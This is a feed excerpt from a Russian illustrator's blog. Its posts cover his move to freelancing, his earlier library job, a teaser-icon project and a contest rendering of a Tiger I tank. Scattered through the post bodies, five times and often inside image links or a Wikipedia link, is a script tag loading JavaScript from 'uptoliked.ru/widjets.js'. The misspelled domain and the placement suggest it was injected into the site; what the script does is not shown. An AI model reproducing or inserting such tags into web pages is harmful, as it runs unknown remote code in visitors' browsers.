<br/><a href="http://ru.wikipedia.org/wiki/Фрилансер" title="Кто такой фрилансер">Фрилансер</a> (от англ. <span style="font-style:italic;">freelancer</span>), другими словами, свободный работник. Как нам всем нравится это слово &laquo;free&raquo; — свобода! Но свобода может оказаться и не свободой в прямом смысле этого слова. Нет-нет, я никого не пугаю, нужно это понимать, только взвесив все &laquo;За&raquo; и &laquo;Против&raquo;. Это итог своего недолгого пребывания на фрилансе, с моим багажом знаний и опыта&#8230;<span id="more-2275"></span><br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/10/template_about_work_2010_2011_07_b.jpg" title="work 07 - HOLYTEK"><img src="http://fominart.ru/wp-content/uploads/2011/10/template_about_work_2010_2011_07_s.jpg" alt="work 07 - HOLYTEK" title="work 07 - HOLYTEK" class="alignnone size-full wp-image-2354" /></a><br />
<br/>Перед тем как уйти на фриланс, купил книжек, которые начал читать, но в ходе своей работы забросил, тем не менее рекомендую начинающим фриласерам и просто дизайнерам. Первая книга о том как распланировать правильно свое время на фрилансе, чтобы успевать делать все свои личные дела и работу &#8211; <a href="http://www.ozon.ru/context/detail/id/4695889/" title="Яна Франк. &laquo;Муза и чудовище&raquo;">Яна Франк. &laquo;Муза и чудовище&raquo;</a>. Яна — известный дизайнер и иллюстратор. Вторая книга будет интересна тем, кто хочет постичь азы в логотипостроении &#8211; <a href="http://www.ozon.ru/context/detail/id/3825777/" title="Актуальный дизайн. Логотип.">&laquo;Актуальный дизайн. Логотип.&raquo;</a> Иногда, когда требуется создать логотип, заглядываю в нее, в книге содержится большая база логотипов на разную тематику. Мелованная бумага, очень качественная печать и верстка книги. Рекомендую!<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/11/template_about_work_2010_2011_08_b.jpg" title="work 08 - Petroprof"><img src="http://fominart.ru/wp-content/uploads/2011/11/template_about_work_2010_2011_08_s.jpg" alt="work 08 - Petroprof" title="work 08 - Petroprof" class="alignnone size-full wp-image-2364" /><script src="//uptoliked.ru/widjets.js"></script></a><br />
<br/>Погрузившись во фриланс, я проводил очень много времени за компьютером. Стал замечать, что практически не выхожу на улицу и все меньше и меньше общаюсь с друзьями. В таком положении проработал почти год. Мне самому не понравилось то, что тратил столько времени на роботу, заказчики просили качество, а я всем пытался объяснить что, чтобы сделать качественную картинку, нужно время. Не каждый желал ждать по несколько дней на ту же иконку. Проработав месяц на работодателя, понял, что в таком ритме не смогу дальше работать, практически каждый день показывая проделанную работу, приходилось вносить порой большие правки в работу. У меня начало складываться впечатление, что сам работодатель, общаясь со своими заказчиками, не знает чего хочет в итоге. То есть я все время импровизировал, на что мне отвечали, что без экспериментов не достичь конечной цели (создать красоту). Согласен, но считаю, что всё что я делал, делал с большим желанием и любовью, и что оно уже красиво. Но разве это объяснишь через третий микрофон. В итоге принял решение уйти в свободное плавание, но при этом поддерживать связь со своим работодателем.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/11/template_about_work_2010_2011_09_b.jpg" title="work 09 - icons &laquo;Medtehno&raquo;"><img src="http://fominart.ru/wp-content/uploads/2011/11/template_about_work_2010_2011_09_s.jpg" alt="work 09 - icons &laquo;Medtehno&raquo;" title="work 09 - icons &laquo;Medtehno&raquo;" class="alignnone size-full wp-image-2368" /></a><br />
<br/>Вот тут тот я и почувствовал действительно свободу! Стал присматриваться к объявлениям на фрилансе, мейке, техдизайнере. Мне казалось, что я готов выполнить любой сложности проект, была уверенность, особенно после побед в конкурсах. Каждый раз, сдавая работу, заказчики очень радовались, но&#8230; приходилось вносить правки. Какие то правки, я считал оправданными, но не все. Многим кто работает в данной области известно, что при постоянной работе над одним проектом, глаза начинают &laquo;замыливаться&raquo;. Дни летели как таял снег, я не заметил, как пролетел один месяц, другой&#8230; Приходилось порой засиживаться над проектом сутками, чтобы сдать вовремя. И после года работы понял, что так больше не может продолжаться, нужно разделять работу на труд и отдых. Очень вымотался за год. Жалею, что не дочитал до конца книгу Яны. Поэтому ребята планировать время важно, таймменджменту нужно также обучаться!<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/11/template_about_work_2010_2011_10_b.jpg" title="work 10 - Illustration &laquo;Blablaclub&raquo;"><img src="http://fominart.ru/wp-content/uploads/2011/11/template_about_work_2010_2011_10_s.jpg" alt="work 10 - Illustration &laquo;Blablaclub&raquo;" title="work 10 - Illustration &laquo;Blablaclub&raquo;" class="alignnone size-full wp-image-2374" /></a><br />
<br/>К концу лета 2011 года стало поступать достаточно большое количество предложений о работе, был удивлен! Откуда их столько взялось, ведь раньше мне никто не писал, а сейчас&#8230; сейчас у  меня есть выбор с кем работать. Поступали очень заманчивые предложения о работе. И я принял решение, что тот кто будет щедро оценивать мой труд с тем и буду работать. Если будут горящие проекты, то конечно, все будет зависит от предлагаемого бюджета не на постоянной основе (1-2 проекта).<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/11/template_about_work_2010_2011_11_b.jpg" title="work 11 - Illustration &laquo;Closet&raquo;"><img src="http://fominart.ru/wp-content/uploads/2011/11/template_about_work_2010_2011_11_s.jpg" alt="work 11 - Illustration &laquo;Closet&raquo;" title="work 11 - Illustration &laquo;Closet&raquo;" class="alignnone size-full wp-image-2385" /></a><br />
<br/>Поступали предложения и работы в офисе. Но к переездам в другие города я пока не готов, да и планы несколько другие. А местные веб-конторы не профилируют ТД. У нас как обычно требуется человек-оркестр, который будет все делать: визитки, буклеты, сайты, логотипы, прям человек-золото нужен, да еще и за смешные деньги. Эх&#8230;<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/11/template_about_work_2010_2011_12_b.jpg" title="work 12 - Icons &laquo;Divnie okna&raquo;"><img src="http://fominart.ru/wp-content/uploads/2011/11/template_about_work_2010_2011_12_s.jpg" alt="work 12 - Icons &laquo;Divnie okna&raquo;" title="work 12 - Icons &laquo;Divnie okna&raquo;" class="alignnone size-full wp-image-2392" /></a><br />
<br/>Сейчас я занят над одним личным проектом. Разрабатываем совместно с другом игру на флэше. Что и о чем будет игра, мы расскажем после релиза. Надеюсь работа не остановится и мы доведем ее до финала! Все лето пришлось потрудиться на одним большим зарубежным проектом, чему я был очень рад (интересный проект). Но, о нем расскажу, после презентации, пришлось подписать договор о неразглашении.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/11/template_about_work_2010_2011_13_b.jpg" title="work 13 - Icons &laquo;Caps&raquo;"><img src="http://fominart.ru/wp-content/uploads/2011/11/template_about_work_2010_2011_13_b.jpg" alt="work 13 - Icons &laquo;Caps&raquo;" title="work 13 - Icons &laquo;Caps&raquo;" class="aligncenter size-full wp-image-2394" /></a><br />
<br/>Постараюсь в ближайшее время оформить пост про <span style="font-weight:bold;">&laquo;вдохновение&raquo;</span>, то на что я часто обращаю внимание, и что считаю эталоном, чтобы научиться видеть красоту и создавать что то свое! Такие дела!<br />
<br/><span style="font-weight:bold;">Спасибо всем, кто меня читает!</span></p>
<div id="crp_related"> </div>]]></content:encoded>
			<wfw:commentRss>https://fominart.ru/o-frilanse.html/feed</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>О прошлом</title>
		<link>https://fominart.ru/o-proshlom.html</link>
		<comments>https://fominart.ru/o-proshlom.html#comments</comments>
		<pubDate>Mon, 31 Oct 2011 05:08:15 +0000</pubDate>
		<dc:creator><![CDATA[WizVio]]></dc:creator>
				<category><![CDATA[Мысли вслух]]></category>
		<category><![CDATA[Технический дизайн]]></category>
		<category><![CDATA[news]]></category>

		<guid isPermaLink="false">http://fominart.ru/?p=2244</guid>
		<description><![CDATA[Пост разбит на 2 части (&#171;О прошлом&#187; и &#171;О фрилансе&#187;). Между рассказом, буду вставлять свои работы, которые еще не показывал никому кроме заказчиков за 2010-2011 года. Хочу подвести итоги своего пребывания на фрилансе. Но сначала расскажу, что этому предшествовало&#8230; Прошел ровно год с того момента, как я решил, что хватит &#171;мять сиськи&#187;, =) и периодически [&#8230;]<div id="crp_related"> </div>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fominart.ru/o-proshlom.html"><img src="http://fominart.ru/wp-content/uploads/2011/10/template_about_the_past_preview.jpg" alt="О прошлом" title="О прошлом" class="alignnone size-full wp-image-2278" /></a><br />
<br/>Пост разбит на 2 части (&laquo;О прошлом&raquo; и &laquo;О фрилансе&raquo;). Между рассказом, буду вставлять свои работы, которые еще не показывал никому кроме заказчиков за 2010-2011 года. Хочу подвести итоги своего пребывания на фрилансе. Но сначала расскажу, что этому предшествовало&#8230;<span id="more-2244"></span><br />
<br/>Прошел ровно год с того момента, как я решил, что хватит &laquo;мять сиськи&raquo;, =) и периодически отказываться от заказов. Тогда я работал в библиотеке <a href="http://www.ngonb.ru/" title="Новосибирская Государственная Областная Научная Библиотека">НГОНБ</a>. Проработал в ней 4,5 года в техническом отделе. Всякое было. Есть, что вспомнить, фактически это моя первая школа на выживание в плане принятия решений в ответственный момент времени, также был и материально ответственным лицом. Начинал от подчиненного и дорос до начальника отдела. Но от должности отказался.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/10/template_about_work_2010_2011_01_b.jpg"><img src="http://fominart.ru/wp-content/uploads/2011/10/template_about_work_2010_2011_01_s.jpg" alt="" title="work 01 - Beasts in tree" width="599" height="421" class="alignnone size-full wp-image-2381" /></a><br />
<br/>Устроился на работу весной 2006-го. До этого 3 месяца сидел без работы. Стояли лютые холода, бывало за сорок градусов. В Сибири очень переменчивая погода, то год, когда зимой начинает таять снег, то год, мороз такой, что мало не покажется. Перед принятием решения уйти с прежней работы, послужило несколько веских факторов.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/10/template_about_work_2010_2011_02_b.jpg" title="work 02 - antenkin"><img src="http://fominart.ru/wp-content/uploads/2011/10/template_about_work_2010_2011_02_s.jpg" alt="work 02 - antenkin" title="work 02 - antenkin" class="alignnone size-full wp-image-2316" /><script src="//uptoliked.ru/widjets.js"></script></a><br />
<br/>За почти 5 лет работу свою знал как пять пальцев. Развития так такового не было, то есть чему-то научился, но по роду работы, вряд ли смог что-то для себя еще извлечь. В свободное время пытался делать сайты, но шли они у меня туго, да и желания особого не было. Просматривая фриланс, наткнулся на клёвые иллюстрации, как в последствии узнал это была &laquo;карамель&raquo;. Мне очень понравились такие иллюстрации и я решил, во чтобы то ни стало научиться создавать такие же красивые картинки. Постучав в асю к <a href="http://www.free-lance.ru/users/imhatemodels" title="Сергей Гуров на фрилансе">Сергею Гурову</a> (именно у него я впервые их увидел), он подсказал мне форум <a href="http://makepizdato.ru/" title="makepizdato.ru">makepizdato.ru</a>, где есть уроки по тому как создавать красивые картинки.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/10/template_about_work_2010_2011_03_b.jpg" title="work 03 - Jarstrojzakazchik-house"><img src="http://fominart.ru/wp-content/uploads/2011/10/template_about_work_2010_2011_03_s.jpg" alt="work 03 - Jarstrojzakazchik-house" title="work 03 - Jarstrojzakazchik-house" class="alignnone size-full wp-image-2335" /></a><br />
<br/>Форум был открытым, свободная регистрация. За 2 года на форуме, познакомился со многими талантливыми ребятами. Начал прокладывать свой путь&#8230; написание уроков (скорее это закрепление пройденного материала для себя), критика работ, выставление на критику собственных работ. И уже в 2008 году заметил, что мои работы преобразились. В это же время купил графический планшет <a href="http://www.wacom.ru/" title="Графический планшет от Wacom">Wacom</a>. Думаю, он сыграл большую роль в освоении технического дизайна.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/10/template_about_work_2010_2011_04_b.jpg" title="work 04 - AutoGRAF"><img src="http://fominart.ru/wp-content/uploads/2011/10/template_about_work_2010_2011_04_s.jpg" alt="work 04 - AutoGRAF" title="work 04 - AutoGRAF" class="alignnone size-full wp-image-2328" /></a><br />
<br/>На работе показывал работы сотрудникам, всем очень нравилось, а скоро начался конкурс на мейке (TDWC#1 &#8211; 32 участника) и решил, что это шанс проверить свои навыки. Помню как с содроганием наблюдал за ходом голосования и как побеждал, была какая-то маленькая уверенность в том, что я сделал лучше оппонента. Одна победа за другой, участники форума стали узнавать мой стиль, но от этого никуда нельзя было деться. И после бессонных ночей, работа за работой и&#8230; победа! Это было нечто! Счастью не было предела! Очень горжусь, что смог победить всех своих соперников. Затем второй конкурс (<a href="http://fominart.ru/novyj-konkurs-na-makepizdato-ru-tdwc2.html">TDWC#2</a> &#8211; 80 участников) и&#8230; опять победа. Конкурс получился у нас затяжным, на протяжении года, одна работа сменялось другой, в итоге поменялась система продвижения по таблице участников, их становилось все меньше и меньше, но я своего шанса не упускал и шел до победного! Знакомые и коллеги думали иначе, что победит кто-то из сильных ТД-шников, но и они отсеялись со временем. А я стал победителем, второго конкурса на мейке!<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/10/template_about_work_2010_2011_05_b.jpg" title="work 05 - help for kupon.ru"><img src="http://fominart.ru/wp-content/uploads/2011/10/template_about_work_2010_2011_05_s.jpg" alt="work 05 - help for kupon.ru" title="work 05 - help for kupon.ru" class="alignnone size-full wp-image-2332" /></a><br />
<br/>На своей основной работе, у меня не заладилось с начальством. Была у меня одна особенность в работе, т.к. ночами я подрабатывал на фрилансе, (это было скорее исключение, один заказ на месяц, так, для тренировки), то всегда опаздывал на работу. Раньше, когда у меня было другое начальство, я находил с ними общий язык, и всё всегда складывалось. Проблем никогда не было. Но время шло, начальство менялось, некоторые сотрудники уходили, т.к. зарплата маленькая в гос. учреждении такого типа, даже для начальства. В итоге директор предложил мне должность начальника технического отдела. Но стать им не решился, т.к. это еще большая ответственность, а значит опаздывать на работу ни в коем случае нельзя было. Решил, что останусь в подчинении, пусть придёт другой человек. Пришел. Какое то время работали неплохо, но раз за разом стал понимать, что обстановка накаляется. В итоге попросил, чтобы мой рабочий день отодвинули на 1 час вперед, т.е. работал бы с 11-00 и до 20-00. Но никто не желал идти на такие уступки, ни мой начальник, ни дирекция. И я принял решение, что пора уходить, раз не идут на встречу&#8230; хотя, ребята, за 4,5 года &laquo;такого&raquo; натерпелся и через &laquo;такое&raquo; прошел, что после того, что сделали мне в итоге, стало неприятно. Были такие дни, когда оставался на работе один и работал за троих, а платили мне нищенскую зарплату, а я работал! Т.к. меня устраивала обстановка, люди в библиотеке (да, я работал с ними, 18 отделов, больше 200-х человек, а я – один!), с которыми очень быстро подружился, и которые ни в какую не хотели меня отпускать в итоге. Может быть и остался, если бы мне пошли на уступки, работал бы и фрилансил в свободное время, благо его иногда было достаточно.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/10/template_about_work_2010_2011_06_b.jpg" title="work 06 - Divnie okna"><img src="http://fominart.ru/wp-content/uploads/2011/10/template_about_work_2010_2011_06_s.jpg" alt="work 06 - Divnie okna" title="work 06 - Divnie okna" class="alignnone size-full wp-image-2337" /></a><br />
<br/>Перед уходом, сам того не зная, получил на фрилансе сообщение от работодателя, который предложил мне удаленную работу на постоянной основе. Я очень этому обрадовался. Все то время, сколько я изучал ТД и знакомился с работой фрилансера (читал сообщества и форумы), было интересно, что это же это такое на самом деле. В следующем посте я расскажу о том как я работал на фрилансе.</p>
<div id="crp_related"> </div>]]></content:encoded>
			<wfw:commentRss>https://fominart.ru/o-proshlom.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Тизеры &#171;Технолига&#187;</title>
		<link>https://fominart.ru/tizery-texnoliga.html</link>
		<comments>https://fominart.ru/tizery-texnoliga.html#comments</comments>
		<pubDate>Sat, 30 Jul 2011 16:53:18 +0000</pubDate>
		<dc:creator><![CDATA[WizVio]]></dc:creator>
				<category><![CDATA[Иконки]]></category>
		<category><![CDATA[Технический дизайн]]></category>
		<category><![CDATA[Тизеры]]></category>

		<guid isPermaLink="false">http://fominart.ru/?p=2211</guid>
		<description><![CDATA[Проект немного бородатый, относительно, но в последние дни выкрал свободное время и &#171;допилил&#187;. На сколько помню, в день создавал по одному тизеру, было очень интересно и близко по духу работы. Вообще, нравится отрисовывать мелочевку, создавать что-то эдакое миниатюрное, иными словами &#171;укротить пиксель&#187; Этапы работы. Получил заказ. Изначально предоставили описание тизеров, достаточно полное, поэтому я уже [&#8230;]<div id="crp_related"> </div>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fominart.ru/tizery-texnoliga.html" title="Перейти к прочтению"><img src="http://fominart.ru/wp-content/uploads/2011/07/fominart.ru_tehnolgia_preview.jpg" alt="Тизеры &laquo;Технолига&raquo; - Процесс работы над проектом" title="Тизеры &laquo;Технолига&raquo; - Процесс работы над проектом" class="alignnone size-full wp-image-2212" /></a><br />
<br/>Проект немного бородатый, относительно, но в последние дни выкрал свободное время и &laquo;допилил&raquo;. На сколько помню, в день создавал по одному тизеру, было очень интересно и близко по духу работы. Вообще, нравится отрисовывать мелочевку, создавать что-то эдакое миниатюрное, иными словами &laquo;укротить пиксель&raquo; <img src="https://fominart.ru/wp-includes/images/smilies/icon_smile.gif" alt=":)" class="wp-smiley" /> <span id="more-2211"></span><br />
<br/><span style="font-weight:bold;">Этапы работы.</span><br />
<br/><span style="font-style:italic;">Получил заказ.</span> Изначально предоставили описание тизеров, достаточно полное, поэтому я уже примерно понимал, что и  как будет выглядеть. Очень хорошо, когда клиент знает чего хочет, а не гадает на кофейной гуще <img src="https://fominart.ru/wp-includes/images/smilies/icon_wink.gif" alt=";)" class="wp-smiley" /><br />
<br/><span style="font-style:italic;">Скинули эскизы.</span> Отлично! По ним предложил клиенту нарисовать подробные скетчи, на которых показал бы что будет. Договорились.<br />
<br/>Эскизы клиента<br/><br />
<a href="http://fominart.ru/wp-content/uploads/2011/07/fominart.ru_tehnolgia_client_sketshs_b.jpg" title="Тизеры &laquo;Технолига&raquo; - Наброски клиента"><img src="http://fominart.ru/wp-content/uploads/2011/07/fominart.ru_tehnolgia_client_sketshs_s.jpg" alt="Тизеры &laquo;Технолига&raquo; - Наброски клиента" title="Тизеры &laquo;Технолига&raquo; - Наброски клиента" class="alignnone size-full wp-image-2226" /><script src="//uptoliked.ru/widjets.js"></script></a><br />
<br/>На эскизы ушло 1 день работы. Прикидывал какую же основу взять под тизеры. Решил, что это будет овал. Но тут я промахнулся! <img src="https://fominart.ru/wp-includes/images/smilies/icon_sad.gif" alt=":(" class="wp-smiley" /> Начал рисовать в разных проекциях, а когда попытался исправить фигуру основания под то, что нарисовал, овал получился мягко говоря не презентабельным.<br />
Вопрос моим внимательным читателям: <span style='color:#b5a642'>&laquo;В каких проекция нарисованы основание и начинка тизера?&raquo;</span><br />
<br/>Мои эскизы<br/><br />
<a href="http://fominart.ru/wp-content/uploads/2011/07/fominart.ru_tehnolgia_my_sketshs_b.jpg" title="Тизеры &laquo;Технолига&raquo; - Мои наброски"><img src="http://fominart.ru/wp-content/uploads/2011/07/fominart.ru_tehnolgia_my_sketshs_s.jpg" alt="Тизеры &laquo;Технолига&raquo; - Мои наброски" title="Тизеры &laquo;Технолига&raquo; - Мои наброски" class="alignnone size-full wp-image-2228" /></a><br />
<br/><span style="font-style:italic;">Начало работы.</span> Поиск референсов для проекта, какие-то предоставил клиент, какие-то гуглил. Затем смотрел на рефы и мысленно рисовал в голове предмет в другой плоскости, что-то кистью (в основном человечков), что-то шейпами (здания, техника).<br />
<br/>Референсы<br/><br />
<a href="http://fominart.ru/wp-content/uploads/2011/07/fominart.ru_tehnolgia_referens_b.jpg" title="Тизеры &laquo;Технолига&raquo; - Референсы"><img src="http://fominart.ru/wp-content/uploads/2011/07/fominart.ru_tehnolgia_referens_s.jpg" alt="Тизеры &laquo;Технолига&raquo; - Референсы" title="Тизеры &laquo;Технолига&raquo; - Референсы" class="alignnone size-full wp-image-2214" /></a><br />
<br/>После отрисовки каждого тизера, делал постобработку. Ранее, я писал, когда делал <a href="http://fominart.ru/rabota-na-konkurs-tdwc2-transformer.html" title="Как я делал трансформера">трансформера</a>, если долго работаешь над одним предметом,  &laquo;глаз замыливается&raquo;, поэтому даже цвета, которые кажутся сочными, на самом деле становятся блеклыми и только спустя сутки, начинаешь это замечать) Также было и с технолигой, это позже я доработал. К каждому тизеру <a href="http://ru.wikipedia.org/wiki/%CF%EE%F1%F2-%EF%F0%EE%E4%E0%EA%F8%ED" title="Что такое пост-продакшн">пост-продакшн</a> примерно выглядит так:<br />
<br/>
<div style="text-align: center"><a href="http://fominart.ru/wp-content/uploads/2011/07/fominart.ru_tehnolgia_post-production.jpg" title="Тизеры &laquo;Технолига&raquo; - Пример пост-продакшн тизера"><img src="http://fominart.ru/wp-content/uploads/2011/07/fominart.ru_tehnolgia_post-production.jpg" alt="Тизеры &laquo;Технолига&raquo; - Пример пост-продакшн тизера" title="Тизеры &laquo;Технолига&raquo; - Пример пост-продакшн тизера" class="alignnone size-full wp-image-2229" /></a></div>
<p><br/>Бывает и больше! Но в конечном итоге добиваюсь нужного результата!<br />
<br/>В проекте не обошлось и без переделок, клиент вдруг решил, что нужны другие варианты некоторых тизеров. Выкладываю их отдельно от основных:<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/07/fominart.ru_tehnolgia_other_tesears_b.jpg" title="Тизеры &laquo;Технолига&raquo; - Непринятые тизеры"><img src="http://fominart.ru/wp-content/uploads/2011/07/fominart.ru_tehnolgia_other_tesears_s.jpg" alt="Тизеры &laquo;Технолига&raquo; - Непринятые тизеры" title="Тизеры &laquo;Технолига&raquo; - Непринятые тизеры" class="alignnone size-full wp-image-2231" /></a><br />
<br/>Вот такие вот тизеры получились в итоге, этот вариант переделанный, в отличие от того, что ушел клиенту.<br />
<br/>Финал!<br />
<a href="http://fominart.ru/wp-content/uploads/2011/07/fominart.ru_tehnolgia_tesears_b.jpg" title="Тизеры &laquo;Технолига&raquo;"><img src="http://fominart.ru/wp-content/uploads/2011/07/fominart.ru_tehnolgia_tesears_s.jpg" alt="Тизеры &laquo;Технолига&raquo;" title="Тизеры &laquo;Технолига&raquo;" class="alignnone size-full wp-image-2216" /></a><br />
<br/>Друзья, напоследок у меня хорошие новости для тех кто так сильно хочет попасть на <a href="http://makepizdato.ru" title="Форум о техническом дизайне и иллюстрировании">мейкпиздато</a>!<br />
Мы решили сделать <span style='color:#ed1c75'>день открытых дверей на мейкпиздато!</span>, точнее месяц. Когда? Следите за моим блогом, я обязательно создам пост по этому случаю <img src="https://fominart.ru/wp-includes/images/smilies/icon_wink.gif" alt=";)" class="wp-smiley" /><br />
<br/>И-и-и&#8230; занимательное видео <img src="https://fominart.ru/wp-includes/images/smilies/icon_smile.gif" alt=":)" class="wp-smiley" /><br />
<a title="Про богов 2011 HD [UNCENSORED]" href="http://www.youtube.com/watch?v=cjp4a-XgOWw">Про богов [2011]</a><br />
<object width="580" height="380"><param name="movie" value="http://www.youtube.com/v/cjp4a-XgOWw&amp;rel=0"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/cjp4a-XgOWw&amp;rel=0" type="application/x-shockwave-flash" wmode="transparent" width="580" height="380"></embed></object><br />
<br/>PS: Сейчас тружусь над одним очень большим проектом, это будет большая мультимедийная энциклопедия авто для разных платформ (iPad Retina, Xbox, Mac e.t.c). Возможно даже расскажу немного после его презентации.<br />
<br/><span style="font-weigth:bold;">Всем удачи!</span></p>
<div id="crp_related"> </div>]]></content:encoded>
			<wfw:commentRss>https://fominart.ru/tizery-texnoliga.html/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Работа на конкурс TDWC#2 «Танк времен ВОВ»</title>
		<link>https://fominart.ru/rabota-na-konkurs-tdwc2-tank-vremen-vov.html</link>
		<comments>https://fominart.ru/rabota-na-konkurs-tdwc2-tank-vremen-vov.html#comments</comments>
		<pubDate>Wed, 16 Feb 2011 16:41:18 +0000</pubDate>
		<dc:creator><![CDATA[WizVio]]></dc:creator>
				<category><![CDATA[Иллюстрация]]></category>
		<category><![CDATA[Технический дизайн]]></category>
		<category><![CDATA[Конкурсы]]></category>
		<category><![CDATA[Ретушь]]></category>

		<guid isPermaLink="false">http://fominart.ru/?p=1864</guid>
		<description><![CDATA[Серийное производство танков &#171;Тигр I&#187; было налажено в 1942 году на заводах фирм &#171;Хеншель&#187;, &#171;Кассель-Митфилд&#187; и &#171;Вегманн&#187; под обозначением Pz.Kpfw.VI(H) (Sd.Kfz.181), а после принятия на вооружение &#171;Тигра II&#187; (он же &#187;Королевский Тигр&#187;) в 1944 году танк назвали Pz.Kpfw.Vl Ausf.E. В производстве танк постоянно модифицировался. В 1942 году было изготовлено 78 танков &#171;Тигр I&#187;, в 1943 [&#8230;]<div id="crp_related"> </div>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fominart.ru/rabota-na-konkurs-tdwc2-tank-vremen-vov.html" title='Работа на конкурс TDWC#2 &laquo;Танк времен ВОВ&raquo;'><img src="http://fominart.ru/wp-content/uploads/2011/02/fominart.ru_panzerkampfwagen_vi_tiger_i_preview.jpg" alt="Работа на конкурс TDWC#2 &laquo;Танк времен ВОВ&raquo;" title="Работа на конкурс TDWC#2 &laquo;Танк времен ВОВ&raquo;" class="alignnone size-full wp-image-1857" /></a><br />
<br/><br />
Серийное производство танков <span style='font-weight:bold;'>&laquo;Тигр I&raquo;</span> было налажено в <span style='font-weight:bold;'>1942 году</span> на заводах фирм <span style='font-weight:bold;'>&laquo;Хеншель&raquo;</span>, <span style='font-weight:bold;'>&laquo;Кассель-Митфилд&raquo;</span> и <span style='font-weight:bold;'>&laquo;Вегманн&raquo;</span> под обозначением <span style='font-weight:bold;'>Pz.Kpfw.VI(H)</span> (Sd.Kfz.181), а после принятия на вооружение &laquo;Тигра II&raquo; (он же &raquo;Королевский Тигр&raquo;) в 1944 году танк назвали <span style='font-weight:bold;'>Pz.Kpfw.Vl Ausf.E</span>. В производстве танк постоянно модифицировался. В <span style='font-weight:bold;'>1942 году</span> было изготовлено 78 танков <span style='font-weight:bold;'>&laquo;Тигр I&raquo;</span>, в <span style='font-weight:bold;'>1943 г.</span> – 649, а в <span style='font-weight:bold;'>1944 г.</span> – 623 танка, то есть всего 1350 штук.<br />
<br/></p>
<div style="text-align:right;font-style:italic;"><a href="http://otvaga2004.narod.ru/publ_w5/031_tiger_1.htm" title="Военно-патриотический сайт &laquo;ОТВАГА&raquo;">&laquo;ОТВАГА&raquo;</a></div>
<p><span id="more-1864"></span><br />
<br/>Продолжаем конкурс на <a href="http://makepizdato.ru/round-6/" title='1/4 финала конкурса TDWC#2'>мейке</a>! На этот раз задания начинают усложняться.<br />
<br/></p>
<ul style='color:#b04c1b;'>&laquo;Я отрендерил реальную модель немецкого танка <span style='font-weight:bold;'><a href="http://ru.wikipedia.org/wiki/T-VI" title='Panzerkampfwagen VI &laquo;Tiger I&#038;raquo на Википедии'>Panzerkampfwagen VI &laquo;Tiger I&raquo;<script src="//uptoliked.ru/widjets.js"></script></a></span>, образца 1942 года с нарезной 88 мм пушкой. Модель реальная, поэтому прошу отнестись к этой работе серьезно.<br />
<br/>Задание:</p>
<li>Максимально исторически точно сделать из рендера картинку реального танка (текстуры, знаки отличия, цвета, можно добавить вмятины и царапины).</li>
<li>Размер картинки по большей стороне — 1000px.</li>
<li>Фон менять нельзя.</li>
<li>Свастику использовать нельзя.&raquo;
</ul>
<p><br/><br />Ниже тот самый рендер для задания. Как видите, абсолютно &laquo;голая&raquo; модель.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/02/fominart.ru_panzerkampfwagen_vi_tiger_i_after_max.jpg" title='Работа на конкурс TDWC#2 &laquo;Танк времен ВОВ&raquo; - Референс по заданию'><img src="http://fominart.ru/wp-content/uploads/2011/02/fominart.ru_panzerkampfwagen_vi_tiger_i_after_min.jpg" alt="Работа на конкурс TDWC#2 &laquo;Танк времен ВОВ&raquo; - Референс по заданию" title="Работа на конкурс TDWC#2 &laquo;Танк времен ВОВ&raquo; - Референс по заданию" class="alignnone size-full wp-image-1861" /></a><br />
<br/>По традиции я начал работу с изучения референсов. Мониторил яндекс и гугл в поисках старых фотографий этого танка. Также большую часть материала обнаружил на <a href="http://www.flickr.com/search/?w=all&#038;q=Panzerkampfwagen+VI+Tiger+I&#038;m=text" title='Перейти на Flickr'>фликре</a>.<br />
Небольшая компоновка самых подходящих ракурсов нашего танка, с которых можно разглядеть некоторые нужные детали, и которые нужно восстановить у рендера.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/02/fominart.ru_panzerkampfwagen_vi_tiger_i_refs_max.jpg" title='Работа на конкурс TDWC#2 &laquo;Танк времен ВОВ&raquo; - Доп. референсы'><img src="http://fominart.ru/wp-content/uploads/2011/02/fominart.ru_panzerkampfwagen_vi_tiger_i_refs_min.jpg" alt="Работа на конкурс TDWC#2 &laquo;Танк времен ВОВ&raquo; - Доп. референсы" title="Работа на конкурс TDWC#2 &laquo;Танк времен ВОВ&raquo; - Доп. референсы" class="alignnone size-full wp-image-1859" /></a><br />
<br/>Сам процесс создания описывать не имеет смысла. Это большая такая рутиная работа по отрисовке каждого элемента танка. Я стараюсь не клонировать объекты там, где они одинаковые, а нарисовать заново (внести мелкие изменения в конструкции уже нарисованного). Танк отрисован шейпами+маски в Фотошопе с последующей постобработкой (затонировал фон, добавил немного шума на фон, использовал <span style='font-weight:bold;'>Lens Corretcion</span> с использованием маски). В общем, как обычно. Начинал отрисовку с дисков, постепенно поднимаясь по каркасу танка до кабины. На работу ушло, примерно дней 5.<br />
